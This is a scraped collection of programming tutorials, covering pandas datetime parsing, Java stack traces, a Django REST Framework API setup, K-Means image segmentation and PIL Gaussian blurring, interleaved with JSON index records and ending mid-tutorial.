"text": "pandas.to_datetime(arg, errors=’raise’, dayfirst=False, yearfirst=False, utc=None, box=True, format=None, exact=True, unit=None, infer_datetime_format=False, origin=’unix’, cache=False)"
},
{
"code": null,
"e": 1621,
"s": 1608,
"text": " Parameters:"
},
{
"code": null,
"e": 1919,
"s": 1621,
"text": "arg: An integer, string, float, list or dict object to convert in to Date time object.dayfirst: Boolean value, places day first if True.yearfirst: Boolean value, places year first if True.utc: Boolean value, Returns time in UTC if True.format: String input to tell position of day, month and year."
},
{
"code": null,
"e": 1926,
"s": 1919,
"text": "Python"
},
{
"code": "import pandas as pd # Parse the timestamp string by# providing the format of timestamp stringdt_obj = pd.to_datetime(\"2021-08-05 15:25:56.792554\", format=\"%Y-%m-%d %H:%M:%S.%f\") # Verify the value for nano secondsnano_secs = dt_obj.strftime(\"%f\") # Print the value of nano secondsprint(nano_secs)",
"e": 2250,
"s": 1926,
"text": null
},
{
"code": null,
"e": 2258,
"s": 2250,
"text": "Output:"
},
{
"code": null,
"e": 2265,
"s": 2258,
"text": "792554"
},
{
"code": null,
"e": 2782,
"s": 2265,
"text": "The above example is similar to the earlier one except for the fact that we have used pandas library instead of the datetime module. This can prove to be handy when we are working with pandas dataframes. One beautiful thing about this library is that we might not need to provide the format manually. The parameter infer_datetime_format in the pandas.to_datetime() method can take care of that automatically if provided as True. In cases, it can increase the parsing speed by ~5-10x. Below is an example of the same."
},
{
"code": null,
"e": 2789,
"s": 2782,
"text": "Python"
},
{
"code": "import pandas as pd # Parse the timestamp string by# providing infer_datetime_format as Truedt_obj = pd.to_datetime(\"2021-08-05 15:25:56.792554\", infer_datetime_format=True) # Verify the value for nano secondsnano_secs = dt_obj.strftime(\"%f\") # Print the value of nano secondsprint(nano_secs)",
"e": 3109,
"s": 2789,
"text": null
},
{
"code": null,
"e": 3117,
"s": 3109,
"text": "Output:"
},
{
"code": null,
"e": 3124,
"s": 3117,
"text": "792554"
},
{
"code": null,
"e": 3131,
"s": 3124,
"text": "Picked"
},
{
"code": null,
"e": 3154,
"s": 3131,
"text": "Python pandas-datetime"
},
{
"code": null,
"e": 3170,
"s": 3154,
"text": "Python-datetime"
},
{
"code": null,
"e": 3184,
"s": 3170,
"text": "Python-pandas"
},
{
"code": null,
"e": 3191,
"s": 3184,
"text": "Python"
}
] |
Java Program to Print Stack Trace
|
15 Jul, 2021
Consider a bookshelf in which books are placed one over another. Now if the person wants to read the book which he placed first, in order to do so all books over the first book are needed to be removed to reach out to the desired book. That is the book that was placed first at the beginning itself. The method by which the computer stores books known as elements in such a fashion is called Stack.
It is an abstract data type which has the following operations:
Operations
Action
Now as per the functions in Stacks, an exception is thrown in 3 cases:
If the stack is full when push is called
Pop to remove and return the value at the top of the stack.
If the stack is empty when pop is called.
In order to print the exception, there is a method for this data structure known as printstackTrace(). It is used in the Exception handler of a particular Exception to handle the Exception. This is a method of Java’s throwable class that prints the throwable Exception object as well as with other Information like the line number where Exception occurs and class name where the exception occurred. Throwable is super-class for all exception classes.
Both the stack traces are discussed below:
Single Line Stack traceMulti-Line Stack trace
Single Line Stack trace
Multi-Line Stack trace
A. Single Line Stack trace: Most of the generic exceptions fall in this category. There are several exceptions but in order for implementation part ‘ArrayIndexOutOfBound‘ is taken into consideration for implementation
Java
// Importing Classes/Filesimport java.io.*; class GFG { // Main Driver Method public static void main(String[] args) { // Inserting elements into array int a[] = { 1, 2, 3 }; // Try-Catch Block try { // Exception occurs System.out.println(a[5]); } // Try-Catch Block catch (ArrayIndexOutOfBoundsException e) { // Printing Exception Object as well as // the line where Exception occur e.printStackTrace(); } }}
Runtime Error:
java.lang.ArrayIndexOutOfBoundsException: Index 5 out of bounds for length 3
at GFG.main(File.java:9)
B. Multi–Line Stack Trace: This condition occurs when we call the function inside into another function and if any function throws Exception retrace all the path where it calls with the printstackTrace() Method.
Java
// Importing Classes/Filesimport java.io.*; class GFG { // Creating random function to test static void check2() { // Try-catch block for exception try { int a = 5 / 0; // Exception occur as logically // In math '/' operatop satisfies x/y where y!=0 } // Catch Block to catch exception if occurs catch (Exception e) { // retrace all the path where this function call e.printStackTrace(); } } // calling the function check2() static void check() { check2(); } // Driver Main Method public static void main(String[] args) { check(); // calling the function check() }}
Runtime Error:
java.lang.ArithmeticException: / by zero
at GFG.check2(File.java:11)
at GFG.check(File.java:7)
at GFG.main(File.java:19)
simranarora5sos
Technical Scripter 2020
Java
Java Programs
Technical Scripter
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n15 Jul, 2021"
},
{
"code": null,
"e": 428,
"s": 28,
"text": "Consider a bookshelf in which books are placed one over another. Now if the person wants to read the book which he placed first, in order to do so all books over the first book are needed to be removed to reach out to the desired book. That is the book that was placed first at the beginning itself. The method by which the computer stores books known as elements in such a fashion is called Stack. "
},
{
"code": null,
"e": 492,
"s": 428,
"text": "It is an abstract data type which has the following operations:"
},
{
"code": null,
"e": 503,
"s": 492,
"text": "Operations"
},
{
"code": null,
"e": 510,
"s": 503,
"text": "Action"
},
{
"code": null,
"e": 582,
"s": 510,
"text": " Now as per the functions in Stacks, an exception is thrown in 3 cases:"
},
{
"code": null,
"e": 623,
"s": 582,
"text": "If the stack is full when push is called"
},
{
"code": null,
"e": 684,
"s": 623,
"text": "Pop to remove and return the value at the top of the stack. "
},
{
"code": null,
"e": 726,
"s": 684,
"text": "If the stack is empty when pop is called."
},
{
"code": null,
"e": 1177,
"s": 726,
"text": "In order to print the exception, there is a method for this data structure known as printstackTrace(). It is used in the Exception handler of a particular Exception to handle the Exception. This is a method of Java’s throwable class that prints the throwable Exception object as well as with other Information like the line number where Exception occurs and class name where the exception occurred. Throwable is super-class for all exception classes."
},
{
"code": null,
"e": 1220,
"s": 1177,
"text": "Both the stack traces are discussed below:"
},
{
"code": null,
"e": 1266,
"s": 1220,
"text": "Single Line Stack traceMulti-Line Stack trace"
},
{
"code": null,
"e": 1290,
"s": 1266,
"text": "Single Line Stack trace"
},
{
"code": null,
"e": 1313,
"s": 1290,
"text": "Multi-Line Stack trace"
},
{
"code": null,
"e": 1531,
"s": 1313,
"text": "A. Single Line Stack trace: Most of the generic exceptions fall in this category. There are several exceptions but in order for implementation part ‘ArrayIndexOutOfBound‘ is taken into consideration for implementation"
},
{
"code": null,
"e": 1536,
"s": 1531,
"text": "Java"
},
{
"code": "// Importing Classes/Filesimport java.io.*; class GFG { // Main Driver Method public static void main(String[] args) { // Inserting elements into array int a[] = { 1, 2, 3 }; // Try-Catch Block try { // Exception occurs System.out.println(a[5]); } // Try-Catch Block catch (ArrayIndexOutOfBoundsException e) { // Printing Exception Object as well as // the line where Exception occur e.printStackTrace(); } }}",
"e": 2073,
"s": 1536,
"text": null
},
{
"code": null,
"e": 2088,
"s": 2073,
"text": "Runtime Error:"
},
{
"code": null,
"e": 2194,
"s": 2088,
"text": "java.lang.ArrayIndexOutOfBoundsException: Index 5 out of bounds for length 3\n at GFG.main(File.java:9)"
},
{
"code": null,
"e": 2406,
"s": 2194,
"text": "B. Multi–Line Stack Trace: This condition occurs when we call the function inside into another function and if any function throws Exception retrace all the path where it calls with the printstackTrace() Method."
},
{
"code": null,
"e": 2411,
"s": 2406,
"text": "Java"
},
{
"code": "// Importing Classes/Filesimport java.io.*; class GFG { // Creating random function to test static void check2() { // Try-catch block for exception try { int a = 5 / 0; // Exception occur as logically // In math '/' operatop satisfies x/y where y!=0 } // Catch Block to catch exception if occurs catch (Exception e) { // retrace all the path where this function call e.printStackTrace(); } } // calling the function check2() static void check() { check2(); } // Driver Main Method public static void main(String[] args) { check(); // calling the function check() }}",
"e": 3140,
"s": 2411,
"text": null
},
{
"code": null,
"e": 3155,
"s": 3140,
"text": "Runtime Error:"
},
{
"code": null,
"e": 3288,
"s": 3155,
"text": "java.lang.ArithmeticException: / by zero\n at GFG.check2(File.java:11)\n at GFG.check(File.java:7)\n at GFG.main(File.java:19)"
},
{
"code": null,
"e": 3304,
"s": 3288,
"text": "simranarora5sos"
},
{
"code": null,
"e": 3328,
"s": 3304,
"text": "Technical Scripter 2020"
},
{
"code": null,
"e": 3333,
"s": 3328,
"text": "Java"
},
{
"code": null,
"e": 3347,
"s": 3333,
"text": "Java Programs"
},
{
"code": null,
"e": 3366,
"s": 3347,
"text": "Technical Scripter"
},
{
"code": null,
"e": 3371,
"s": 3366,
"text": "Java"
}
] |
How to Create a basic API using Django Rest Framework ?
|
17 Jun, 2021
Django REST Framework is a wrapper over default Django Framework, basically used to create APIs of various kinds. There are three stages before creating a API through REST framework, Converting a Model’s data to JSON/XML format (Serialization), Rendering this data to the view, Creating a URL for mapping to the viewset.This article revolves around how to create a basic API using Django REST Framework. It assumes you are familiar with Django basics – Django tutorial. Also, installation of Django REST Framework. Assuming you have created a project named geeksforgeeks with Django, let’s initiate Django REST Framework.
Add rest_framework to INSTALLED_APPS
Create a app and model
Serialization
Creating a viewset
Define URLs of API
Run server and check API
To initialize REST Framework in your project, go to settings.py, and in INSTALLED_APPS add ‘rest_framework’ at the bottom.
Python3
# Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework',]
Now, let’s create a app using command,
python manage.py startapp apis
A folder with name apis would have been registered by now. let’s add this app to INSTALLED_APPS and urls.py also. In, settings.py,
Python3
# Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'apis',]
Now, add apis urls in urls.py. In geeksforgeeks.urls.py,
Python3
from django.contrib import admin# include necessary librariesfrom django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), # add apis urls path('', include("apis.urls"))]
Create a model To demonstrate, creating and using an API, let’s create a model named “GeeksModel”. In apis/models.py
Python3
from django.db import models class GeeksModel(models.Model): title = models.CharField(max_length = 200) description = models.TextField() def __str__(self): return self.title
now our app is ready, let’s serialize the data and create views from the same.
Serializers allow complex data such as querysets and model instances to be converted to native Python datatypes that can then be easily rendered into JSON, XML or other content types. Serializers also provide deserialization, allowing parsed data to be converted back into complex types, after first validating the incoming data. Let’s start creating a serializer, in file apis/serializers.py,
Python3
# import serializer from rest_frameworkfrom rest_framework import serializers # import model from models.pyfrom .models import GeeksModel # Create a model serializerclass GeeksSerializer(serializers.HyperlinkedModelSerializer): # specify model and fields class Meta: model = GeeksModel fields = ('title', 'description')
To render data into frontend, and handle requests from user, we need to create a view. In Django REST Framework, we call these as viewsets, so let’s create a view in apis/views.py,
Python3
# import viewsetsfrom rest_framework import viewsets # import local datafrom .serializers import GeeksSerializerfrom .models import GeeksModel # create a viewsetclass GeeksViewSet(viewsets.ModelViewSet): # define queryset queryset = GeeksModel.objects.all() # specify serializer to be used serializer_class = GeeksSerializer
Specify the url path of APIs to be accessed, In apis/urls.py,
Python3
# basic URL Configurationsfrom django.urls import include, path# import routersfrom rest_framework import routers # import everything from viewsfrom .views import * # define the routerrouter = routers.DefaultRouter() # define the router path and viewset to be usedrouter.register(r'geeks', GeeksViewSet) # specify URL Path for rest_frameworkurlpatterns = [ path('', include(router.urls)), path('api-auth/', include('rest_framework.urls'))]
After everything is successfully ready, let’s run some commands to activate the server.
Run following commands to create the database, and run server,
python manage.py makemigrations
python manage.py migrate
python manage.py runserver
Now visit http://127.0.0.1:8000/geeks/,
To check the code for the project, click here
sooda367
Django-REST
Python Django
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n17 Jun, 2021"
},
{
"code": null,
"e": 677,
"s": 54,
"text": "Django REST Framework is a wrapper over default Django Framework, basically used to create APIs of various kinds. There are three stages before creating a API through REST framework, Converting a Model’s data to JSON/XML format (Serialization), Rendering this data to the view, Creating a URL for mapping to the viewset.This article revolves around how to create a basic API using Django REST Framework. It assumes you are familiar with Django basics – Django tutorial. Also, installation of Django REST Framework. Assuming you have created a project named geeksforgeeks with Django, let’s initiate Django REST Framework. "
},
{
"code": null,
"e": 714,
"s": 677,
"text": "Add rest_framework to INSTALLED_APPS"
},
{
"code": null,
"e": 737,
"s": 714,
"text": "Create a app and model"
},
{
"code": null,
"e": 751,
"s": 737,
"text": "Serialization"
},
{
"code": null,
"e": 770,
"s": 751,
"text": "Creating a viewset"
},
{
"code": null,
"e": 789,
"s": 770,
"text": "Define URLs of API"
},
{
"code": null,
"e": 814,
"s": 789,
"text": "Run server and check API"
},
{
"code": null,
"e": 941,
"s": 816,
"text": "To initialize REST Framework in your project, go to settings.py, and in INSTALLED_APPS add ‘rest_framework’ at the bottom. "
},
{
"code": null,
"e": 949,
"s": 941,
"text": "Python3"
},
{
"code": "# Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework',]",
"e": 1195,
"s": 949,
"text": null
},
{
"code": null,
"e": 1236,
"s": 1195,
"text": "Now, let’s create a app using command, "
},
{
"code": null,
"e": 1267,
"s": 1236,
"text": "python manage.py startapp apis"
},
{
"code": null,
"e": 1400,
"s": 1267,
"text": "A folder with name apis would have been registered by now. let’s add this app to INSTALLED_APPS and urls.py also. In, settings.py, "
},
{
"code": null,
"e": 1408,
"s": 1400,
"text": "Python3"
},
{
"code": "# Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'apis',]",
"e": 1665,
"s": 1408,
"text": null
},
{
"code": null,
"e": 1724,
"s": 1665,
"text": "Now, add apis urls in urls.py. In geeksforgeeks.urls.py, "
},
{
"code": null,
"e": 1732,
"s": 1724,
"text": "Python3"
},
{
"code": "from django.contrib import admin# include necessary librariesfrom django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), # add apis urls path('', include(\"apis.urls\"))]",
"e": 1937,
"s": 1732,
"text": null
},
{
"code": null,
"e": 2056,
"s": 1937,
"text": "Create a model To demonstrate, creating and using an API, let’s create a model named “GeeksModel”. In apis/models.py "
},
{
"code": null,
"e": 2064,
"s": 2056,
"text": "Python3"
},
{
"code": "from django.db import models class GeeksModel(models.Model): title = models.CharField(max_length = 200) description = models.TextField() def __str__(self): return self.title",
"e": 2255,
"s": 2064,
"text": null
},
{
"code": null,
"e": 2335,
"s": 2255,
"text": "now our app is ready, let’s serialize the data and create views from the same. "
},
{
"code": null,
"e": 2731,
"s": 2335,
"text": "Serializers allow complex data such as querysets and model instances to be converted to native Python datatypes that can then be easily rendered into JSON, XML or other content types. Serializers also provide deserialization, allowing parsed data to be converted back into complex types, after first validating the incoming data. Let’s start creating a serializer, in file apis/serializers.py, "
},
{
"code": null,
"e": 2739,
"s": 2731,
"text": "Python3"
},
{
"code": "# import serializer from rest_frameworkfrom rest_framework import serializers # import model from models.pyfrom .models import GeeksModel # Create a model serializerclass GeeksSerializer(serializers.HyperlinkedModelSerializer): # specify model and fields class Meta: model = GeeksModel fields = ('title', 'description')",
"e": 3079,
"s": 2739,
"text": null
},
{
"code": null,
"e": 3262,
"s": 3079,
"text": "To render data into frontend, and handle requests from user, we need to create a view. In Django REST Framework, we call these as viewsets, so let’s create a view in apis/views.py, "
},
{
"code": null,
"e": 3270,
"s": 3262,
"text": "Python3"
},
{
"code": "# import viewsetsfrom rest_framework import viewsets # import local datafrom .serializers import GeeksSerializerfrom .models import GeeksModel # create a viewsetclass GeeksViewSet(viewsets.ModelViewSet): # define queryset queryset = GeeksModel.objects.all() # specify serializer to be used serializer_class = GeeksSerializer",
"e": 3612,
"s": 3270,
"text": null
},
{
"code": null,
"e": 3676,
"s": 3612,
"text": "Specify the url path of APIs to be accessed, In apis/urls.py, "
},
{
"code": null,
"e": 3684,
"s": 3676,
"text": "Python3"
},
{
"code": "# basic URL Configurationsfrom django.urls import include, path# import routersfrom rest_framework import routers # import everything from viewsfrom .views import * # define the routerrouter = routers.DefaultRouter() # define the router path and viewset to be usedrouter.register(r'geeks', GeeksViewSet) # specify URL Path for rest_frameworkurlpatterns = [ path('', include(router.urls)), path('api-auth/', include('rest_framework.urls'))]",
"e": 4130,
"s": 3684,
"text": null
},
{
"code": null,
"e": 4220,
"s": 4130,
"text": "After everything is successfully ready, let’s run some commands to activate the server. "
},
{
"code": null,
"e": 4285,
"s": 4220,
"text": "Run following commands to create the database, and run server, "
},
{
"code": null,
"e": 4369,
"s": 4285,
"text": "python manage.py makemigrations\npython manage.py migrate\npython manage.py runserver"
},
{
"code": null,
"e": 4411,
"s": 4369,
"text": "Now visit http://127.0.0.1:8000/geeks/, "
},
{
"code": null,
"e": 4458,
"s": 4411,
"text": "To check the code for the project, click here "
},
{
"code": null,
"e": 4467,
"s": 4458,
"text": "sooda367"
},
{
"code": null,
"e": 4479,
"s": 4467,
"text": "Django-REST"
},
{
"code": null,
"e": 4493,
"s": 4479,
"text": "Python Django"
},
{
"code": null,
"e": 4500,
"s": 4493,
"text": "Python"
}
] |
Image Processing with Python — Unsupervised Learning for Image Segmentation | by Tonichi Edeza | Towards Data Science
|
So far most of the techniques we’ve gone over have required us to manually segment the image via its features. But we can actually use unsupervised clustering algorithms to do this for us. In this article we shall go over how to do just that.
Let’s begin!
As always, we start by importing the required Python libraries.
import numpy as npimport pandas as pdimport matplotlib.pyplot as pltfrom mpl_toolkits.mplot3d import Axes3Dfrom matplotlib import colorsfrom skimage.color import rgb2gray, rgb2hsv, hsv2rgbfrom skimage.io import imread, imshowfrom sklearn.cluster import KMeans
Excellent, let us now import the image we will be working with.
dog = imread('beach_doggo.PNG')plt.figure(num=None, figsize=(8, 6), dpi=80)imshow(dog);
We know that an image is essentially a 3 Dimensional matrix, with each individual pixel containing a value for the Red, Green, and Blue channels. But we can actually use the beloved Pandas library to store each pixel as a separate data point. The below code does just that.
def image_to_pandas(image): df = pd.DataFrame([image[:,:,0].flatten(), image[:,:,1].flatten(), image[:,:,2].flatten()]).T df.columns = [‘Red_Channel’,’Green_Channel’,’Blue_Channel’] return dfdf_doggo = image_to_pandas(dog)df_doggo.head(5)
This makes the manipulation of the image simpler as it is easier to think of it as data that can be fed into a machine learning algorithm. In our case we shall make use of the K Means algorithm to cluster the image.
plt.figure(num=None, figsize=(8, 6), dpi=80)kmeans = KMeans(n_clusters= 4, random_state = 42).fit(df_doggo)result = kmeans.labels_.reshape(dog.shape[0],dog.shape[1])imshow(result, cmap='viridis')plt.show()
As we can see, the image is clustered into 4 distinct regions. Let us visualize each region separately.
fig, axes = plt.subplots(2,2, figsize=(12, 12))for n, ax in enumerate(axes.flatten()): ax.imshow(result==[n], cmap='gray'); ax.set_axis_off() fig.tight_layout()
As we can see, the algorithm splits the the image based on the R,G, and B pixel values. One unfortunate drawback of course is that this is a completely unsupervised learning algorithm. It does not particularly care for the meaning behind any specific cluster. As evidence we can see that the second and fourth cluster both have a prominent part of the dog (the shaded half and the unshaded half). Perhaps running 4 clusters is excessive, let us retry the clustering but set the number of clusters to 3.
Excellent, we can see that the dog comes out as a whole unit. Now let us see what happens if we apply each cluster as a separate mask to our image.
fig, axes = plt.subplots(1,3, figsize=(15, 12))for n, ax in enumerate(axes.flatten()): dog = imread('beach_doggo.png') dog[:, :, 0] = dog[:, :, 0]*(result==[n]) dog[:, :, 1] = dog[:, :, 1]*(result==[n]) dog[:, :, 2] = dog[:, :, 2]*(result==[n]) ax.imshow(dog); ax.set_axis_off()fig.tight_layout()
We can see that the algorithm generates three distinct clusters, the sand, the living creatures, and the sky. Of course the algorithm itself does not care much for these clusters, only that they share similar RGB values. It is up to us humans to interpret these clusters.
Before we leave, I think it would be helpful to actually show what our image looks like if we simply plotted it out on a 3D graph.
def pixel_plotter(df): x_3d = df['Red_Channel'] y_3d = df['Green_Channel'] z_3d = df['Blue_Channel'] color_list = list(zip(df['Red_Channel'].to_list(), df['Blue_Channel'].to_list(), df['Green_Channel'].to_list())) norm = colors.Normalize(vmin=0,vmax=1.) norm.autoscale(color_list) p_color = norm(color_list).tolist() fig = plt.figure(figsize=(12,10)) ax_3d = plt.axes(projection='3d') ax_3d.scatter3D(xs = x_3d, ys = y_3d, zs = z_3d, c = p_color, alpha = 0.55); ax_3d.set_xlim3d(0, x_3d.max()) ax_3d.set_ylim3d(0, y_3d.max()) ax_3d.set_zlim3d(0, z_3d.max()) ax_3d.invert_zaxis() ax_3d.view_init(-165, 60)pixel_plotter(df_doggo)
We should bear in mind that this is actually how the algorithm defines “closeness”. If we apply the K-Means algorithm to this graph, the manner by which it segments the image becomes strikingly clear.
df_doggo['cluster'] = result.flatten()def pixel_plotter_clusters(df): x_3d = df['Red_Channel'] y_3d = df['Green_Channel'] z_3d = df['Blue_Channel'] fig = plt.figure(figsize=(12,10)) ax_3d = plt.axes(projection='3d') ax_3d.scatter3D(xs = x_3d, ys = y_3d, zs = z_3d, c = df['cluster'], alpha = 0.55); ax_3d.set_xlim3d(0, x_3d.max()) ax_3d.set_ylim3d(0, y_3d.max()) ax_3d.set_zlim3d(0, z_3d.max()) ax_3d.invert_zaxis() ax_3d.view_init(-165, 60)pixel_plotter_clusters(df_doggo)
In Conclusion
The K-Means algorithm is a popular unsupervised learning algorithm that any data scientist should be comfortable using. Though it is quite simplistic, it can be particularly powerful on images that have very distinct differences in their pixels. In future articles we shall go over other machine learning algorithms we can use for image segmentation as well as fine tuning the hyper parameters. But for now I hope you can now imagine using this method on your own tasks.
|
[
{
"code": null,
"e": 415,
"s": 172,
"text": "So far most of the techniques we’ve gone over have required us to manually segment the image via its features. But we can actually use unsupervised clustering algorithms to do this for us. In this article we shall go over how to do just that."
},
{
"code": null,
"e": 428,
"s": 415,
"text": "Let’s begin!"
},
{
"code": null,
"e": 492,
"s": 428,
"text": "As always, we start by importing the required Python libraries."
},
{
"code": null,
"e": 752,
"s": 492,
"text": "import numpy as npimport pandas as pdimport matplotlib.pyplot as pltfrom mpl_toolkits.mplot3d import Axes3Dfrom matplotlib import colorsfrom skimage.color import rgb2gray, rgb2hsv, hsv2rgbfrom skimage.io import imread, imshowfrom sklearn.cluster import KMeans"
},
{
"code": null,
"e": 816,
"s": 752,
"text": "Excellent, let us now import the image we will be working with."
},
{
"code": null,
"e": 904,
"s": 816,
"text": "dog = imread('beach_doggo.PNG')plt.figure(num=None, figsize=(8, 6), dpi=80)imshow(dog);"
},
{
"code": null,
"e": 1178,
"s": 904,
"text": "We know that an image is essentially a 3 Dimensional matrix, with each individual pixel containing a value for the Red, Green, and Blue channels. But we can actually use the beloved Pandas library to store each pixel as a separate data point. The below code does just that."
},
{
"code": null,
"e": 1470,
"s": 1178,
"text": "def image_to_pandas(image): df = pd.DataFrame([image[:,:,0].flatten(), image[:,:,1].flatten(), image[:,:,2].flatten()]).T df.columns = [‘Red_Channel’,’Green_Channel’,’Blue_Channel’] return dfdf_doggo = image_to_pandas(dog)df_doggo.head(5)"
},
{
"code": null,
"e": 1686,
"s": 1470,
"text": "This makes the manipulation of the image simpler as it is easier to think of it as data that can be fed into a machine learning algorithm. In our case we shall make use of the K Means algorithm to cluster the image."
},
{
"code": null,
"e": 1893,
"s": 1686,
"text": "plt.figure(num=None, figsize=(8, 6), dpi=80)kmeans = KMeans(n_clusters= 4, random_state = 42).fit(df_doggo)result = kmeans.labels_.reshape(dog.shape[0],dog.shape[1])imshow(result, cmap='viridis')plt.show()"
},
{
"code": null,
"e": 1997,
"s": 1893,
"text": "As we can see, the image is clustered into 4 distinct regions. Let us visualize each region separately."
},
{
"code": null,
"e": 2167,
"s": 1997,
"text": "fig, axes = plt.subplots(2,2, figsize=(12, 12))for n, ax in enumerate(axes.flatten()): ax.imshow(result==[n], cmap='gray'); ax.set_axis_off() fig.tight_layout()"
},
{
"code": null,
"e": 2670,
"s": 2167,
"text": "As we can see, the algorithm splits the the image based on the R,G, and B pixel values. One unfortunate drawback of course is that this is a completely unsupervised learning algorithm. It does not particularly care for the meaning behind any specific cluster. As evidence we can see that the second and fourth cluster both have a prominent part of the dog (the shaded half and the unshaded half). Perhaps running 4 clusters is excessive, let us retry the clustering but set the number of clusters to 3."
},
{
"code": null,
"e": 2818,
"s": 2670,
"text": "Excellent, we can see that the dog comes out as a whole unit. Now let us see what happens if we apply each cluster as a separate mask to our image."
},
{
"code": null,
"e": 3133,
"s": 2818,
"text": "fig, axes = plt.subplots(1,3, figsize=(15, 12))for n, ax in enumerate(axes.flatten()): dog = imread('beach_doggo.png') dog[:, :, 0] = dog[:, :, 0]*(result==[n]) dog[:, :, 1] = dog[:, :, 1]*(result==[n]) dog[:, :, 2] = dog[:, :, 2]*(result==[n]) ax.imshow(dog); ax.set_axis_off()fig.tight_layout()"
},
{
"code": null,
"e": 3405,
"s": 3133,
"text": "We can see that the algorithm generates three distinct clusters, the sand, the living creatures, and the sky. Of course the algorithm itself does not care much for these clusters, only that they share similar RGB values. It is up to us humans to interpret these clusters."
},
{
"code": null,
"e": 3536,
"s": 3405,
"text": "Before we leave, I think it would be helpful to actually show what our image looks like if we simply plotted it out on a 3D graph."
},
{
"code": null,
"e": 4300,
"s": 3536,
"text": "def pixel_plotter(df): x_3d = df['Red_Channel'] y_3d = df['Green_Channel'] z_3d = df['Blue_Channel'] color_list = list(zip(df['Red_Channel'].to_list(), df['Blue_Channel'].to_list(), df['Green_Channel'].to_list())) norm = colors.Normalize(vmin=0,vmax=1.) norm.autoscale(color_list) p_color = norm(color_list).tolist() fig = plt.figure(figsize=(12,10)) ax_3d = plt.axes(projection='3d') ax_3d.scatter3D(xs = x_3d, ys = y_3d, zs = z_3d, c = p_color, alpha = 0.55); ax_3d.set_xlim3d(0, x_3d.max()) ax_3d.set_ylim3d(0, y_3d.max()) ax_3d.set_zlim3d(0, z_3d.max()) ax_3d.invert_zaxis() ax_3d.view_init(-165, 60)pixel_plotter(df_doggo)"
},
{
"code": null,
"e": 4501,
"s": 4300,
"text": "We should bear in mind that this is actually how the algorithm defines “closeness”. If we apply the K-Means algorithm to this graph, the manner by which it segments the image becomes strikingly clear."
},
{
"code": null,
"e": 5045,
"s": 4501,
"text": "df_doggo['cluster'] = result.flatten()def pixel_plotter_clusters(df): x_3d = df['Red_Channel'] y_3d = df['Green_Channel'] z_3d = df['Blue_Channel'] fig = plt.figure(figsize=(12,10)) ax_3d = plt.axes(projection='3d') ax_3d.scatter3D(xs = x_3d, ys = y_3d, zs = z_3d, c = df['cluster'], alpha = 0.55); ax_3d.set_xlim3d(0, x_3d.max()) ax_3d.set_ylim3d(0, y_3d.max()) ax_3d.set_zlim3d(0, z_3d.max()) ax_3d.invert_zaxis() ax_3d.view_init(-165, 60)pixel_plotter_clusters(df_doggo)"
},
{
"code": null,
"e": 5059,
"s": 5045,
"text": "In Conclusion"
}
] |
Apply a Gauss filter to an image with Python - GeeksforGeeks
|
26 Dec, 2020
A Gaussian Filter is a low pass filter used for reducing noise (high frequency components) and blurring regions of an image. The filter is implemented as an Odd sized Symmetric Kernel (DIP version of a Matrix) which is passed through each pixel of the Region of Interest to get the desired effect. The kernel is not hard towards drastic color changed (edges) due to it the pixels towards the center of the kernel having more weightage towards the final value then the periphery. A Gaussian Filter could be considered as an approximation of the Gaussian Function (mathematics). In this article we will learn methods of utilizing Gaussian Filter to reduce noise in images using Python programming language.
We would be using the following image for demonstration:
A screenshot of a segment of windows explorer
In the process of using Gaussian Filter on an image we firstly define the size of the Kernel/Matrix that would be used for demising the image. The sizes are generally odd numbers, i.e. the overall results can be computed on the central pixel. Also the Kernels are symmetric & therefore have the same number of rows and column. The values inside the kernel are computed by the Gaussian function, which is as follows:
2 Dimensional gaussian function
Where,
x → X coordinate value
y → Y coordinate value
???? → Mathematical Constant PI (value = 3.13)
σ → Standard Deviation
Using the above function a gaussian kernel of any size can be calculated, by providing it with appropriate values. A 3×3 Gaussian Kernel Approximation(two-dimensional) with Standard Deviation = 1, appears as follows
We would be using PIL (Python Imaging Library) function named filter() to pass our whole image through a predefined Gaussian kernel. The function help page is as follows:
Syntax: Filter(Kernel)
Takes in a kernel (predefined or custom) and each pixel of the image through it (Kernel Convolution).
Parameter: Filter Kernel
Return: Image Object
In the following example, we would be blurring the aforementioned image.
Python3
# ImageFilter for using filter() functionfrom PIL import Image, ImageFilter # Opening the image # (R prefixed to string in order to deal with '\' in paths)image = Image.open(r"IMAGE_PATH") # Blurring image by sending the ImageFilter.# GaussianBlur predefined kernel argumentimage = image.filter(ImageFilter.GaussianBlur) # Displaying the imageimage.show()
Output:
Blurred Image
Explanation:
Firstly we imported the Image and ImageFilter (for using filter()) modules of the PIL library. Then we created an image object by opening the image at the path IMAGE_PATH (User defined). After which we filtered the image through the filter function, and providing ImageFilter.GaussianBlur (predefined in the ImageFilter module) as an argument to it. The kernel dimensions of ImageFilter.GaussianBlur is 5×5. In the end we displayed the image.
Note: The size of kernel could be manipulated by passing as parameter (optional) the radius of the kernel. This changes the following line from.
image = image.filter(ImageFilter.GaussianBlur)
to
image = image.filter(ImageFilter.GaussianBlur(radius=x))
where x => blur radius (size of kernel in one direction, from the center pixel)
Instead of the whole image, certain sections of it could also be selectively blurred. This could be performed by firstly cropping the desired region of the image, and then passing it through the filter() function. The output of which (the blurred sub image) would be pasted on top of the original image. This would give us the desired output.
The code for which is as follows:
Python3
